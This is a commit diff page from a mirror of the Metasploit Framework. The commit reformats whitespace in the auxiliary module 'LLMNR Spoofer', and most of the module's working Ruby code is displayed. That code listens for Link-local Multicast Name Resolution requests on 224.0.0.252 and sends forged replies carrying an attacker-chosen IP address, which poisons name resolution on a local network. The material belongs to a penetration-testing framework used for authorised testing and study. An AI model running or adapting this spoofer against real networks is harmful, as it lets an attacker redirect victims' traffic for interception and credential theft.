infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Compliance to msftidy

bug/bundler_fix
Robin Francois 2012-09-07 11:44:46 +02:00
parent 2f618b797e
commit 855b88c296
1 changed files with 45 additions and 54 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

99
modules/auxiliary/spoof/llmnr/llmnr_response.rb Executable file → Normal file
View File

@ -15,15 +15,15 @@ require 'ipaddr'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'LLMNR Spoofer',
'Description' => %q{
'Name' => 'LLMNR Spoofer',
'Description' => %q{
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
],
'Actions' =>
'Actions' =>
[
[ 'Service' ]
],
@ -58,20 +58,18 @@ class Metasploit3 < Msf::Auxiliary
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, addr)
def dispatch_request(packet, addr)
rhost = addr[0]
src_port = addr[1]
# Getting info from the request packet
llmnr_transid = packet[0..1]
llmnr_flags = packet[2..3]
llmnr_transid = packet[0..1]
llmnr_flags = packet[2..3]
llmnr_questions = packet[4..5]
llmnr_answerrr = packet[6..7]
llmnr_answerrr = packet[6..7]
llmnr_authorityrr = packet[8..9]
llmnr_additionalrr = packet[10..11]
llmnr_name_length = packet[12..12]
@ -84,24 +82,20 @@ class Metasploit3 < Msf::Auxiliary
llmnr_decodedname = llmnr_name.unpack('a*')[0].to_s
if datastore['DEBUG']
print_status("Received Packet from: #{rhost}:#{src_port}")
print_status("transid: #{llmnr_transid.unpack('H4')}")
print_status("tlags: #{llmnr_flags.unpack('B16')}")
print_status("Received Packet from: #{rhost}:#{src_port}")
print_status("transid: #{llmnr_transid.unpack('H4')}")
print_status("tlags: #{llmnr_flags.unpack('B16')}")
print_status("questions: #{llmnr_questions.unpack('n')}")
print_status("answerrr: #{llmnr_answerrr.unpack('n')}")
print_status("authorityrr: #{llmnr_authorityrr.unpack('n')}")
print_status("additionalrr: #{llmnr_additionalrr.unpack('n')}")
print_status("name length: #{llmnr_name_length.unpack('c')}")
print_status("name: #{llmnr_name.unpack('a*')}")
print_status("name: #{llmnr_name.unpack('a*')}")
print_status("decodedname: #{llmnr_decodedname}")
print_status("type: #{llmnr_type.unpack('n')}")
print_status("class: #{llmnr_class.unpack('n')}")
print_status("type: #{llmnr_type.unpack('n')}")
print_status("class: #{llmnr_class.unpack('n')}")
end
if (llmnr_decodedname =~ /#{datastore['REGEX']}/i)
#Header
response = llmnr_transid
response << "\x80\x00" # Flags TODO add details
@ -128,61 +122,58 @@ class Metasploit3 < Msf::Auxiliary
p.ip_daddr = rhost
p.ip_ttl = 255
p.udp_sport = 5355 # LLMNR UDP port
p.udp_dport = src_port # Port used by sender
p.udp_dport = src_port # Port used by sender
p.payload = response
p.recalc
capture_sendto(p, rhost,true)
vprint_good("Reply for #{llmnr_decodedname} sent to #{rhost} with spoofed IP #{datastore['SPOOFIP']}")
close_pcap
else
vprint_status("Packet received from #{rhost} with name #{llmnr_decodedname} did not match REGEX \"#{datastore['REGEX']}\"")
end
end
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,w,e = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
addr = [host,port]
dispatch_request(packet, addr)
end
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true
multicast_addr = "224.0.0.252" #Multicast Address for LLMNR
optval = ::IPAddr.new(multicast_addr).hton + ::IPAddr.new("0.0.0.0").hton
optval = ::IPAddr.new(multicast_addr).hton + ::IPAddr.new("0.0.0.0").hton
self.sock = Rex::Socket.create_udp(
'LocalHost' => "0.0.0.0",
'LocalPort' => 5355)
'LocalPort' => 5355)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket
}
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket
}
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
while thread.alive?
add_socket(self.sock)
while thread.alive?
select(nil, nil, nil, 0.25)
end
self.thread.kill
self.thread.kill
self.sock.close rescue nil
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,w,e = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
addr = [host,port]
dispatch_request(packet, addr)
end
end
end
end